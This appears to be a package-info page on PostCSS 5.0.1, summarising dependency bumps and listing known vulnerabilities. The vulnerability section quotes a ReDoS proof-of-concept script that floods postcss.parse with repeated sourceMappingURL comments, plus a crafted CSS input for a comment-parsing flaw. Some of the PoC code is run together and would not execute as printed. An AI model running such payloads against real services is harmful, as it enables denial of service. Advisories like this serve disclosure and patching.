PostCSS version 5.0.1 is a minor patch release following closely on the heels of version 5.0.0. Both versions serve as robust tools for transforming CSS with JavaScript plugins, empowering developers to automate routine CSS tasks, catch errors, and implement future CSS syntax. Key dependencies like js-base64, source-map, and supports-color remain consistent between the two, indicating core functionality is unchanged.
The primary distinction lies within the development dependencies. Version 5.0.1 sees an update to eslint from 1.1.0 to 1.2.1 and sinon from 1.15.4 to 1.16.1. The most important upgrade is gulp-babel which moved from 5.2.0 to 5.2.1. These upgrades likely address bug fixes, performance improvements, or compatibility enhancements within the testing and build pipeline. For developers integrating PostCSS into their projects, the update is unlikely to introduce breaking changes, but updating these packages is always a good practice to ensure smooth operation. The core strengths of PostCSS – its modular architecture, extensive plugin ecosystem, and powerful CSS parsing capabilities – are fully preserved in both versions, offering a stable and flexible solution for modern CSS development. The patch was released on August 20, 2015, a day after the releasing of version 5.0.0.
All the vulnerabilities related to the version 5.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.